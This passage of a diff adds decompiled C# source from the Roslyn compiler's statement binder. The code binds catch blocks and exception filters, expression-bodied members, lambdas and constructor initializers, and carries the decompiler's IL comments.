instance.ToImmutableAndFree(); + } + + private BoundCatchBlock BindCatchBlock(CatchClauseSyntax node, ArrayBuilder previousBlocks, BindingDiagnosticBag diagnostics) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + TypeSymbol typeSymbol = null; + BoundExpression boundExpression = null; + CatchDeclarationSyntax declaration = node.Declaration; + if (declaration != null) + { + typeSymbol = BindType(declaration.Type, diagnostics).Type; + if (typeSymbol.IsErrorType()) + { + flag = true; + } + else + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + TypeSymbol type = typeSymbol.EffectiveType(ref useSiteInfo); + if (!Compilation.IsExceptionType(type, ref useSiteInfo)) + { + Error(diagnostics, ErrorCode.ERR_BadExceptionType, (CSharpSyntaxNode)declaration.Type); + flag = true; + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)declaration.Type, useSiteInfo); + } + else + { + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies(useSiteInfo); + } + } + } + CatchFilterClauseSyntax filter = node.Filter; + if (filter != null) + { + boundExpression = GetBinder((SyntaxNode)(object)filter).BindCatchFilter(filter, diagnostics); + flag |= boundExpression.HasAnyErrors; + } + if (!flag) + { + Enumerator enumerator = previousBlocks.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundCatchBlock current = enumerator.Current; + TypeSymbol exceptionTypeOpt = current.ExceptionTypeOpt; + if (current.ExceptionFilterOpt != null || (object)exceptionTypeOpt == null || exceptionTypeOpt.IsErrorType()) + { + continue; + } + if ((object)typeSymbol != null) + { + CompoundUseSiteInfo useSiteInfo2 = GetNewCompoundUseSiteInfo(diagnostics); + if (Conversions.HasIdentityOrImplicitReferenceConversion(typeSymbol, exceptionTypeOpt, ref useSiteInfo2)) + { + Error(diagnostics, ErrorCode.ERR_UnreachableCatch, (CSharpSyntaxNode)declaration.Type, new object[1] { exceptionTypeOpt }); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)declaration.Type, useSiteInfo2); + flag = true; + break; + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)declaration.Type, useSiteInfo2); + } + else if (TypeSymbol.Equals(exceptionTypeOpt, Compilation.GetWellKnownType((WellKnownType)52), (TypeCompareKind)0) && Compilation.SourceAssembly.RuntimeCompatibilityWrapNonExceptionThrows) + { + Error(diagnostics, ErrorCode.WRN_UnreachableGeneralCatch, node.CatchKeyword); + break; + } + } + } + ImmutableArray declaredLocalsForScope = GetBinder((SyntaxNode)(object)node).GetDeclaredLocalsForScope((SyntaxNode)(object)node); + BoundExpression exceptionSourceOpt = null; + LocalSymbol localSymbol = declaredLocalsForScope.FirstOrDefault(); + if ((object)localSymbol != null && localSymbol.DeclarationKind == LocalDeclarationKind.CatchVariable) + { + flag |= ValidateDeclarationNameConflictsInScope(localSymbol, diagnostics); + exceptionSourceOpt = new BoundLocal((SyntaxNode)(object)declaration, localSymbol, null, localSymbol.Type); + } + BoundBlock body = BindEmbeddedBlock(node.Block, diagnostics); + return new BoundCatchBlock((SyntaxNode)(object)node, declaredLocalsForScope, exceptionSourceOpt, typeSymbol, null, boundExpression, body, flag); + } + + private BoundExpression BindCatchFilter(CatchFilterClauseSyntax filter, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureExceptionFilter.CheckFeatureAvailability(diagnostics, filter.WhenKeyword); + BoundExpression boundExpression = BindBooleanExpression(filter.FilterExpression, diagnostics); + if (boundExpression.ConstantValueOpt != (ConstantValue)null) + { + ErrorCode code = (boundExpression.ConstantValueOpt.BooleanValue ? ErrorCode.WRN_FilterIsConstantTrue : ((filter.Parent.Parent is TryStatementSyntax tryStatementSyntax && tryStatementSyntax.Catches.Count == 1 && tryStatementSyntax.Finally == null) ? ErrorCode.WRN_FilterIsConstantFalseRedundantTryCatch : ErrorCode.WRN_FilterIsConstantFalse)); + Error(diagnostics, code, (CSharpSyntaxNode)filter.FilterExpression); + } + return boundExpression; + } + + private void ReportCantConvertLambdaReturn(SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + if (!(syntax.Parent is QueryClauseSyntax) && !(syntax.Parent is SelectOrGroupClauseSyntax) && ContainingMemberOrLambda is LambdaSymbol lambdaSymbol) + { + Location locationForDiagnostics = GetLocationForDiagnostics(syntax); + if (IsInAsyncMethod()) + { + Error(diagnostics, ErrorCode.ERR_CantConvAsyncAnonFuncReturns, locationForDiagnostics, lambdaSymbol.MessageID.Localize(), lambdaSymbol.ReturnType); + } + else + { + Error(diagnostics, ErrorCode.ERR_CantConvAnonMethReturns, locationForDiagnostics, lambdaSymbol.MessageID.Localize()); + } + } + } + + private static Location GetLocationForDiagnostics(SyntaxNode node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val; + TextSpan span; + if (!(node is LambdaExpressionSyntax lambdaExpressionSyntax)) + { + if (node is AnonymousMethodExpressionSyntax anonymousMethodExpressionSyntax) + { + SyntaxTree syntaxTree = anonymousMethodExpressionSyntax.SyntaxTree; + int spanStart = ((SyntaxNode)anonymousMethodExpressionSyntax).SpanStart; + ParameterListSyntax? parameterList = anonymousMethodExpressionSyntax.ParameterList; + int end; + if (parameterList == null) + { + val = anonymousMethodExpressionSyntax.DelegateKeyword; + span = ((SyntaxToken)(ref val)).Span; + end = ((TextSpan)(ref span)).End; + } + else + { + span = ((SyntaxNode)parameterList).Span; + end = ((TextSpan)(ref span)).End; + } + return Location.Create(syntaxTree, TextSpan.FromBounds(spanStart, end)); + } + return node.Location; + } + SyntaxTree syntaxTree2 = lambdaExpressionSyntax.SyntaxTree; + int spanStart2 = ((SyntaxNode)lambdaExpressionSyntax).SpanStart; + val = lambdaExpressionSyntax.ArrowToken; + span = ((SyntaxToken)(ref val)).Span; + return Location.Create(syntaxTree2, TextSpan.FromBounds(spanStart2, ((TextSpan)(ref span)).End)); + } + + private static bool IsValidStatementExpression(SyntaxNode syntax, BoundExpression expression) + { + if (!SyntaxFacts.IsStatementExpression(syntax)) + { + return false; + } + if (expression.IsSuppressed) + { + return false; + } + if (expression.Kind == BoundKind.DelegateCreationExpression || expression.Kind == BoundKind.NameOfOperator) + { + return false; + } + return true; + } + + internal BoundBlock CreateBlockFromExpression(CSharpSyntaxNode node, ImmutableArray locals, RefKind refKind, BoundExpression expression, ExpressionSyntax expressionSyntax, BindingDiagnosticBag diagnostics) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_01be: Unknown result type (might be due to invalid IL or missing references) + //IL_01c4: Invalid comparison between Unknown and I4 + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_0153: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Unknown result type (might be due to invalid IL or missing references) + //IL_021a: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + RefKind refKind2; + TypeSymbol currentReturnType = GetCurrentReturnType(out refKind2); + SyntaxNode val = (SyntaxNode)(((object)expressionSyntax) ?? ((object)expression.Syntax)); + BoundStatement item; + if (IsInAsyncMethod() && (int)refKind != 0) + { + Error(diagnostics, ErrorCode.ERR_MustNotHaveRefReturn, SyntaxNodeOrToken.op_Implicit(val)); + expression = BindToTypeForErrorRecovery(expression); + item = new BoundReturnStatement(val, refKind, expression, CheckOverflowAtRuntime) + { + WasCompilerGenerated = true + }; + } + else if ((object)currentReturnType != null) + { + if ((int)refKind > 0 != (int)refKind2 > 0 && expression.Kind != BoundKind.ThrowExpression) + { + ErrorCode code = (((int)refKind != 0) ? ErrorCode.ERR_MustNotHaveRefReturn : ErrorCode.ERR_MustHaveRefReturn); + Error(diagnostics, code, SyntaxNodeOrToken.op_Implicit(val)); + expression = BindToTypeForErrorRecovery(expression); + item = new BoundReturnStatement(val, (RefKind)0, expression, CheckOverflowAtRuntime) + { + WasCompilerGenerated = true + }; + } + else if (currentReturnType.IsVoidType() || IsEffectivelyTaskReturningAsyncMethod()) + { + bool hasErrors = false; + if (expressionSyntax == null || !IsValidExpressionBody((SyntaxNode)(object)expressionSyntax, expression)) + { + expression = BindToTypeForErrorRecovery(expression); + Error(diagnostics, ErrorCode.ERR_IllegalStatement, SyntaxNodeOrToken.op_Implicit(val)); + hasErrors = true; + } + else + { + expression = BindToNaturalType(expression, diagnostics); + } + BoundExpressionStatement boundExpressionStatement = new BoundExpressionStatement(val, expression, hasErrors); + CheckForUnobservedAwaitable(expression, diagnostics); + item = boundExpressionStatement; + } + else if (IsIAsyncEnumerableOrIAsyncEnumeratorReturningAsyncMethod()) + { + Error(diagnostics, ErrorCode.ERR_ReturnInIterator, SyntaxNodeOrToken.op_Implicit(val)); + expression = BindToTypeForErrorRecovery(expression); + item = new BoundReturnStatement(val, refKind2, expression, CheckOverflowAtRuntime) + { + WasCompilerGenerated = true + }; + } + else + { + expression = ((!currentReturnType.IsErrorType()) ? CreateReturnConversion(val, diagnostics, expression, refKind, currentReturnType) : BindToTypeForErrorRecovery(expression)); + item = new BoundReturnStatement(val, refKind2, expression, CheckOverflowAtRuntime) + { + WasCompilerGenerated = true + }; + } + } + else + { + TypeSymbol? type = expression.Type; + if ((object)type != null && (int)type.SpecialType == 6) + { + expression = BindToNaturalType(expression, diagnostics); + item = new BoundExpressionStatement(val, expression) + { + WasCompilerGenerated = true + }; + } + else + { + if (!(ContainingMemberOrLambda is MethodSymbol methodSymbol) || (object)methodSymbol.ReturnType != LambdaSymbol.ReturnTypeIsBeingInferred) + { + expression = BindToNaturalType(expression, diagnostics); + } + item = new BoundReturnStatement(val, refKind, expression, CheckOverflowAtRuntime) + { + WasCompilerGenerated = true + }; + } + } + return new BoundBlock((SyntaxNode)(object)node, locals, ImmutableArray.Create(item)) + { + WasCompilerGenerated = (node.Kind() != SyntaxKind.ArrowExpressionClause) + }; + } + + private static bool IsValidExpressionBody(SyntaxNode expressionSyntax, BoundExpression expression) + { + if (!IsValidStatementExpression(expressionSyntax, expression)) + { + return expressionSyntax.Kind() == SyntaxKind.ThrowExpression; + } + return true; + } + + internal virtual BoundBlock BindExpressionBodyAsBlock(ArrowExpressionClauseSyntax expressionBody, BindingDiagnosticBag diagnostics) + { + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode parent = expressionBody.Parent; + MessageID? messageID; + if (!(parent is ConstructorDeclarationSyntax) && !(parent is DestructorDeclarationSyntax)) + { + if (!(parent is AccessorDeclarationSyntax)) + { + if (!(parent is BaseMethodDeclarationSyntax)) + { + if (!(parent is IndexerDeclarationSyntax)) + { + if (!(parent is PropertyDeclarationSyntax)) + { + if (!(parent is LocalFunctionStatementSyntax)) + { + if (parent != null) + { + throw ExceptionUtilities.UnexpectedValue((object)expressionBody.Parent.Kind()); + } + messageID = null; + } + else + { + messageID = null; + } + } + else + { + messageID = MessageID.IDS_FeatureExpressionBodiedProperty; + } + } + else + { + messageID = MessageID.IDS_FeatureExpressionBodiedIndexer; + } + } + else + { + messageID = MessageID.IDS_FeatureExpressionBodiedMethod; + } + } + else + { + messageID = MessageID.IDS_FeatureExpressionBodiedAccessor; + } + } + else + { + messageID = MessageID.IDS_FeatureExpressionBodiedDeOrConstructor; + } + messageID?.CheckFeatureAvailability(diagnostics, expressionBody.ArrowToken); + Binder binder = GetBinder((SyntaxNode)(object)expressionBody); + return bindExpressionBodyAsBlockInternal(expressionBody, binder, diagnostics); + static BoundBlock bindExpressionBodyAsBlockInternal(ArrowExpressionClauseSyntax arrowExpressionClauseSyntax, Binder bodyBinder, BindingDiagnosticBag diagnostics2) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + RefKind refKind; + ExpressionSyntax expressionSyntax = arrowExpressionClauseSyntax.Expression.CheckAndUnwrapRefExpression(diagnostics2, out refKind); + BindValueKind requiredReturnValueKind = bodyBinder.GetRequiredReturnValueKind(refKind); + BoundExpression expression = bodyBinder.BindValue(expressionSyntax, diagnostics2, requiredReturnValueKind); + return bodyBinder.CreateBlockFromExpression(arrowExpressionClauseSyntax, bodyBinder.GetDeclaredLocalsForScope((SyntaxNode)(object)arrowExpressionClauseSyntax), refKind, expression, expressionSyntax, diagnostics2); + } + } + + public BoundBlock BindLambdaExpressionAsBlock(ExpressionSyntax body, BindingDiagnosticBag diagnostics) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + Binder binder = GetBinder((SyntaxNode)(object)body); + RefKind refKind; + ExpressionSyntax expressionSyntax = body.CheckAndUnwrapRefExpression(diagnostics, out refKind); + BindValueKind requiredReturnValueKind = GetRequiredReturnValueKind(refKind); + BoundExpression expression = binder.BindValue(expressionSyntax, diagnostics, requiredReturnValueKind); + return binder.CreateBlockFromExpression(body, binder.GetDeclaredLocalsForScope((SyntaxNode)(object)body), refKind, expression, expressionSyntax, diagnostics); + } + + public BoundBlock CreateBlockFromExpression(ExpressionSyntax body, BoundExpression expression, BindingDiagnosticBag diagnostics) + { + Binder binder = GetBinder((SyntaxNode)(object)body); + return binder.CreateBlockFromExpression(body, binder.GetDeclaredLocalsForScope((SyntaxNode)(object)body), (RefKind)0, expression, body, diagnostics); + } + + private BindValueKind GetRequiredReturnValueKind(RefKind refKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + BindValueKind result = BindValueKind.RValue; + if ((int)refKind != 0) + { + GetCurrentReturnType(out var refKind2); + result = (((int)refKind2 == 1) ? BindValueKind.RefReturn : BindValueKind.ReadonlyRef); + } + return result; + } + + public virtual BoundNode BindMethodBody(CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + if (!(syntax is TypeDeclarationSyntax typeDecl)) + { + if (!(syntax is BaseMethodDeclarationSyntax baseMethodDeclarationSyntax)) + { + if (!(syntax is AccessorDeclarationSyntax accessorDeclarationSyntax)) + { + if (!(syntax is ArrowExpressionClauseSyntax expressionBody)) + { + if (syntax is CompilationUnitSyntax compilationUnit) + { + return BindSimpleProgram(compilationUnit, diagnostics); + } + throw ExceptionUtilities.UnexpectedValue((object)syntax.Kind()); + } + return BindExpressionBodyAsBlock(expressionBody, diagnostics); + } + return BindMethodBody(accessorDeclarationSyntax, accessorDeclarationSyntax.Body, accessorDeclarationSyntax.ExpressionBody, diagnostics); + } + if (baseMethodDeclarationSyntax.Kind() == SyntaxKind.ConstructorDeclaration) + { + return BindConstructorBody((ConstructorDeclarationSyntax)baseMethodDeclarationSyntax, diagnostics); + } + return BindMethodBody(baseMethodDeclarationSyntax, baseMethodDeclarationSyntax.Body, baseMethodDeclarationSyntax.ExpressionBody, diagnostics); + } + return BindPrimaryConstructorBody(typeDecl, diagnostics); + } + + private BoundNode BindSimpleProgram(CompilationUnitSyntax compilationUnit, BindingDiagnosticBag diagnostics) + { + return GetBinder((SyntaxNode)(object)compilationUnit).BindSimpleProgramCompilationUnit(compilationUnit, diagnostics); + } + + private BoundNode BindSimpleProgramCompilationUnit(CompilationUnitSyntax compilationUnit, BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = true; + Enumerator enumerator = compilationUnit.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is GlobalStatementSyntax globalStatementSyntax) + { + if (flag) + { + flag = false; + MessageID.IDS_TopLevelStatements.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)globalStatementSyntax); + } + BoundStatement boundStatement = BindStatement(globalStatementSyntax.Statement, diagnostics); + instance.Add(boundStatement); + } + } + return new BoundNonConstructorMethodBody((SyntaxNode)(object)compilationUnit, FinishBindBlockParts(compilationUnit, instance.ToImmutableAndFree()).MakeCompilerGenerated(), null); + } + + private BoundNode BindPrimaryConstructorBody(TypeDeclarationSyntax typeDecl, BindingDiagnosticBag diagnostics) + { + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeIfClass = typeDecl.PrimaryConstructorBaseTypeIfClass; + BoundExpressionStatement initializer; + ImmutableArray locals; + if (primaryConstructorBaseTypeIfClass != null) + { + Binder? binder = GetBinder((SyntaxNode)(object)primaryConstructorBaseTypeIfClass); + initializer = binder.BindConstructorInitializer(primaryConstructorBaseTypeIfClass, diagnostics); + locals = binder.GetDeclaredLocalsForScope((SyntaxNode)(object)primaryConstructorBaseTypeIfClass); + } + else + { + initializer = BindImplicitConstructorInitializer((SyntaxNode)(object)typeDecl, diagnostics); + locals = ImmutableArray.Empty; + } + return new BoundConstructorMethodBody((SyntaxNode)(object)typeDecl, locals, initializer, new BoundBlock((SyntaxNode)(object)typeDecl, ImmutableArray.Empty, ImmutableArray.Empty).MakeCompilerGenerated(), null); + } + + internal virtual BoundExpressionStatement BindConstructorInitializer(PrimaryConstructorBaseTypeSyntax initializer, BindingDiagnosticBag diagnostics) + { + BoundExpression expression = GetBinder((SyntaxNode)(object)initializer).BindConstructorInitializer(initializer.ArgumentList, (MethodSymbol)ContainingMember(), diagnostics); + return new BoundExpressionStatement((SyntaxNode)(object)initializer, expression); + } + + private BoundNode BindConstructorBody(ConstructorDeclarationSyntax constructor, BindingDiagnosticBag diagnostics) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + ConstructorInitializerSyntax initializer = constructor.Initializer; + if (initializer == null && constructor.Body == null && constructor.ExpressionBody == null) + { + return null; + } + Binder binder = GetBinder((SyntaxNode)(object)constructor); + int num; + if (initializer == null) + { + num = 0; + } + else + { + num = (((SyntaxNode?)(object)initializer).IsKind(SyntaxKind.ThisConstructorInitializer) ? 1 : 0); + if (num != 0) + { + goto IL_006e; + } + } + if (hasPrimaryConstructor() && isInstanceConstructor(out var constructorSymbol) && !SynthesizedRecordCopyCtor.IsCopyConstructor(constructorSymbol)) + { + Error(diagnostics, ErrorCode.ERR_UnexpectedOrMissingConstructorInitializerInRecord, initializer?.ThisOrBaseKeyword ?? constructor.Identifier); + } + goto IL_006e; + IL_006e: + if (num != 0 && ContainingType.IsDefaultValueTypeConstructor(initializer) && isInstanceConstructor(out var _) && hasPrimaryConstructor()) + { + Error(diagnostics, ErrorCode.ERR_RecordStructConstructorCallsDefaultConstructor, initializer.ThisOrBaseKeyword); + } + return new BoundConstructorMethodBody((SyntaxNode)(object)constructor, binder.GetDeclaredLocalsForScope((SyntaxNode)(object)constructor), (initializer == null) ? binder.BindImplicitConstructorInitializer((SyntaxNode)(object)constructor, diagnostics) : binder.BindConstructorInitializer(initializer, diagnostics), (constructor.Body == null) ? null : ((BoundBlock)binder.BindStatement(constructor.Body, diagnostics)), (constructor.ExpressionBody == null) ? null : binder.BindExpressionBodyAsBlock(constructor.ExpressionBody, (constructor.Body == null) ? diagnostics : BindingDiagnosticBag.Discarded)); + bool hasPrimaryConstructor() + { + if (ContainingType is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + return sourceMemberContainerTypeSymbol.HasPrimaryConstructor; + } + return false; + } + bool isInstanceConstructor(out MethodSymbol reference) + { + Symbol symbol = ContainingMember(); + if (symbol is MethodSymbol methodSymbol && !symbol.IsStatic) + { + reference = methodSymbol; + return true; + } + reference = null; + return false; + } + } + + internal virtual BoundExpressionStatement BindConstructorInitializer(ConstructorInitializerSyntax initializer, BindingDiagnosticBag diagnostics) + { + BoundExpression expression = GetBinder((SyntaxNode)(object)initializer).BindConstructorInitializer(initializer.ArgumentList, (MethodSymbol)ContainingMember(), diagnostics); + return new BoundExpressionStatement((SyntaxNode)(object)initializer, expression); + } + + internal BoundExpressionStatement? BindImplicitConstructorInitializer(SyntaxNode ctorSyntax, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = BindImplicitConstructorInitializer((MethodSymbol)ContainingMember(), diagnostics, Compilation); + if (boundExpression == null) + { + return null; + } + return new BoundExpressionStatement(ctorSyntax, boundExpression) + { + WasCompilerGenerated = ((MethodSymbol)ContainingMember()).IsImplicitlyDeclared + }; + } + + internal static BoundExpression? BindImplicitConstructorInitializer(MethodSymbol constructor, BindingDiagnosticBag diagnostics, CSharpCompilation compilation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + if ((int)constructor.MethodKind != 1 || constructor.IsExtern) + { + return null; + } + NamedTypeSymbol containingType = constructor.ContainingType; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = containingType.BaseTypeNoUseSiteDiagnostics; + SourceMemberMethodSymbol sourceMemberMethodSymbol = constructor as SourceMemberMethodSymbol; + if ((object)baseTypeNoUseSiteDiagnostics != null) + { + if ((int)baseTypeNoUseSiteDiagnostics.SpecialType == 1) + { + return GenerateBaseParameterlessConstructorInitializer(constructor, diagnostics); + } + if (baseTypeNoUseSiteDiagnostics.IsErrorType() || baseTypeNoUseSiteDiagnostics.IsStatic) + { + return null; + } + } + if (containingType.IsStructType() || containingType.IsEnumType()) + { + return null; + } + if (constructor is SynthesizedRecordCopyCtor constructor2) + { + return GenerateBaseCopyConstructorInitializer(constructor2, diagnostics); + } + Binder binder; + if ((object)sourceMemberMethodSymbol == null) + { + CSharpSyntaxNode nonNullSyntaxNode = constructor.GetNonNullSyntaxNode(); + BinderFactory binderFactory = compilation.GetBinderFactory(nonNullSyntaxNode.SyntaxTree); + if (nonNullSyntaxNode is TypeDeclarationSyntax typeDecl) + { + binder = binderFactory.GetInTypeBodyBinder(typeDecl); + } + else + { + SyntaxToken implicitConstructorBodyToken = GetImplicitConstructorBodyToken(nonNullSyntaxNode); + binder = binderFactory.GetBinder((SyntaxNode)(object)nonNullSyntaxNode, ((SyntaxToken)(ref implicitConstructorBodyToken)).Position); + } + } + else + { + BinderFactory binderFactory2 = compilation.GetBinderFactory(sourceMemberMethodSymbol.SyntaxTree); + CSharpSyntaxNode syntaxNode = sourceMemberMethodSymbol.SyntaxNode; + if (!(syntaxNode is ConstructorDeclarationSyntax constructorDeclarationSyntax)) + { + if (!(syntaxNode is TypeDeclarationSyntax typeDecl2)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder_Statements.cs", 3815); + } + binder = binderFactory2.GetInTypeBodyBinder(typeDecl2); + } + else + { + binder = binderFactory2.GetBinder((SyntaxNode)(object)constructorDeclarationSyntax.ParameterList); + } + } + return binder.WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.ConstructorInitializer, constructor).BindConstructorInitializer(null, constructor, diagnostics); + } + + private static SyntaxToken GetImplicitConstructorBodyToken(CSharpSyntaxNode containerNode) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ((BaseTypeDeclarationSyntax)containerNode).OpenBraceToken; + } + + internal static BoundCall? GenerateBaseParameterlessConstructorInitializer(MethodSymbol constructor, BindingDiagnosticBag diagnostics) + { + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = constructor.ContainingType.BaseTypeNoUseSiteDiagnostics; + MethodSymbol methodSymbol = null; + LookupResultKind resultKind = LookupResultKind.Viable; + Location firstLocationOrNone = constructor.GetFirstLocationOrNone(); + ImmutableArray.Enumerator enumerator = baseTypeNoUseSiteDiagnostics.InstanceConstructors.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + if (current.ParameterCount == 0) + { + methodSymbol = current; + break; + } + } + if ((object)methodSymbol == null) + { + diagnostics.Add(ErrorCode.ERR_BadCtorArgCount, firstLocationOrNone, baseTypeNoUseSiteDiagnostics, 0); + return null; + } + if (ReportUseSite(methodSymbol, diagnostics, firstLocationOrNone)) + { + return null; + } + bool hasErrors = false; + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, constructor.ContainingAssembly); + if (!AccessCheck.IsSymbolAccessible(methodSymbol, constructor.ContainingType, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadAccess, firstLocationOrNone, methodSymbol); + resultKind = LookupResultKind.Inaccessible; + hasErrors = true; + } + ((BindingDiagnosticBag)(object)diagnostics).Add(firstLocationOrNone, useSiteInfo); + CSharpSyntaxNode nonNullSyntaxNode = constructor.GetNonNullSyntaxNode(); + BoundExpression receiverOpt = new BoundThisReference((SyntaxNode)(object)nonNullSyntaxNode, constructor.ContainingType) + { + WasCompilerGenerated = true + }; + return new BoundCall((SyntaxNode)(object)nonNullSyntaxNode, receiverOpt, (ThreeState)1, methodSymbol, ImmutableArray.Empty, ImmutableArray.Empty, ImmutableArray.Empty, isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, ImmutableArray.Empty, BitVector.Empty, resultKind, methodSymbol.ReturnType, hasErrors) + { + WasCompilerGenerated = true + }; + } + + private static BoundCall? GenerateBaseCopyConstructorInitializer(SynthesizedRecordCopyCtor constructor, BindingDiagnosticBag diagnostics) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = constructor.ContainingType; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = containingType.BaseTypeNoUseSiteDiagnostics; + Location firstLocationOrNone = constructor.GetFirstLocationOrNone(); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, containingType.ContainingAssembly); + MethodSymbol methodSymbol = SynthesizedRecordCopyCtor.FindCopyConstructor(baseTypeNoUseSiteDiagnostics, containingType, ref useSiteInfo); + if ((object)methodSymbol == null) + { + diagnostics.Add(ErrorCode.ERR_NoCopyConstructorInBaseType, firstLocationOrNone, baseTypeNoUseSiteDiagnostics); + return null; + } + CompoundUseSiteInfo useSiteInfo2 = default(CompoundUseSiteInfo); + useSiteInfo2._002Ector((BindingDiagnosticBag)(object)diagnostics, constructor.ContainingAssembly); + useSiteInfo2.Add(methodSymbol.GetUseSiteInfo()); + if (ReportConstructorUseSiteDiagnostics(firstLocationOrNone, diagnostics, constructor.HasSetsRequiredMembers, useSiteInfo2)) + { + return null; + } + ((BindingDiagnosticBag)(object)diagnostics).Add(firstLocationOrNone, useSiteInfo); + CSharpSyntaxNode nonNullSyntaxNode = constructor.GetNonNullSyntaxNode(); + BoundExpression receiverOpt = new BoundThisReference((SyntaxNode)(object)nonNullSyntaxNode, constructor.ContainingType) + { + WasCompilerGenerated = true + }; + BoundExpression item = new BoundParameter((SyntaxNode)(object)nonNullSyntaxNode, constructor.Parameters[0]); + return new BoundCall((SyntaxNode)(object)nonNullSyntaxNode, receiverOpt, (ThreeState)1, methodSymbol, ImmutableArray.Create(item), default(ImmutableArray), default(ImmutableArray), isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, default(ImmutableArray), default(BitVector), LookupResultKind.Viable, methodSymbol.ReturnType) + { + WasCompilerGenerated = true + }; + } + + private BoundNode BindMethodBody(CSharpSyntaxNode declaration, BlockSyntax blockBody, ArrowExpressionClauseSyntax expressionBody, 